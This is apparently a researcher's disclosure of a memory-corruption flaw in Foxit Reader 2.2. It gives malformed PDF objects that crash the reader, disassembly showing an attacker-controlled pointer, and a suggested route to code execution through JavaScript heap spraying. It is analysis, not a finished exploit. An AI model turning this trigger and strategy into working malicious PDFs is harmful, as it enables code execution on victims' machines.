Foxit Reader 2.2 vulnerability opening malformed pdf:

Autor: Javier Vicente Vallejo

Abstract

Foxit Reader 2.2 is prone to a vulnerability when a malformed pdf is parsed.

Affcted versions

Tested with Foxit Reader 2.2, Windows XP Media Center Sp2.

Analysis

The vulnerability occurs when a malformed /ExtGState resource is parsed. In this case the ExtGState resource was supplanted with a /Font resource, but the type of the resource continued being ExtGState:

261 0 obj

<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666 ]/Resources <</ProcSet [/PDF /Text] /ExtGState <</R7 7 0 R>>>> /Contents [20 0 R]>>

endobj

7 0 obj

<</FirstChaaa 1

/Type /Funt /FontDescriptor 23 0 R

/BaseFont /xxxxxxxxxxxxxxxxoman,Italic

/Subtype /TrueType

/Encoding /WinAnsiEncoding

/LaitChar 211

/Wodths [ ]

endobj

23 0 obj

<</zzz9ðE /oooooo>>

endobj

Under these conditions it seems Foxit allocates differents structures waiting to complete that memory with the content of the /ExtGState resource. Howerver when it finds fields associated with a /Font resource, it tries to parse them anyway, and it completes the memory for that structures with incorrect data. This situation occurs because some functions (mainly the one located at address 0x4d1ed0) are common functions to parse any type of field for any type of resource. So, when some fields of a /Font dictionary are found under a /ExtGState resource, the fields are read and interpreted, and the allocated structures are filled with incorrect data.

This facts cause different errors in the execution. For example, this code:

004A6E04 C74424 04 000000>MOV DWORD PTR SS:[ESP+4],0

004A6E0C 0F84 9A000000 JE foxit_re.004A6EAC

004A6E12 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]

004A6E15 48 DEC EAX

004A6E16 83F8 08 CMP EAX,8

004A6E19 0F87 8D000000 JA foxit_re.004A6EAC

004A6E1F FF2485 BC6E4A00 JMP DWORD PTR DS:[EAX*4+4A6EBC]

The instruction mov eax,[ecx+8]. Ecx+8 should contain a valid pointer, but the content of that memory is the value of the first name of the dictionary of the object 23 0 obj. We can control this value so we can control [ecx+8], for example.

Modifying this dictionary name with different values we find crashes and invalid access at different EIP. For example with names with length under 8, it uses the last bytes of the name as a pointer at EIP = 0x4A6EE7. With larger names it completes the structure in a different way and the behaviour is different.

23 0 obj

<</zzzzzzz /oooooo>>

endobj

004A6EE7 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]

004A6EEA 83E8 02 SUB EAX,2

004A6EED 74 23 JE SHORT foxit_re.004A6F12

004A6EEF 83E8 07 SUB EAX,7

004A6EF2 75 14 JNZ SHORT foxit_re.004A6F08

004A6EF4 8B41 14 MOV EAX,DWORD PTR DS:[ECX+14]

004A6EF7 8B49 10 MOV ECX,DWORD PTR DS:[ECX+10]

004A6EFA 50 PUSH EAX

004A6EFB E8 20200000 CALL foxit_re.004A8F20

The code involved in this vulnerability is complex, lot of FPU and mathematical operations, etc... It is difficult to find correct values to exploit the vulnerability, however i think it is possible to exploit it by choosing some appropiated values for the input dictionaries and using heap spraying to facilitate the shellcode execution (heap spraying could be possible using javascript embedded into the own pdf file. The supplied pdf file uses javascript with some /Annots events so we can do heap spraying before the crash occured).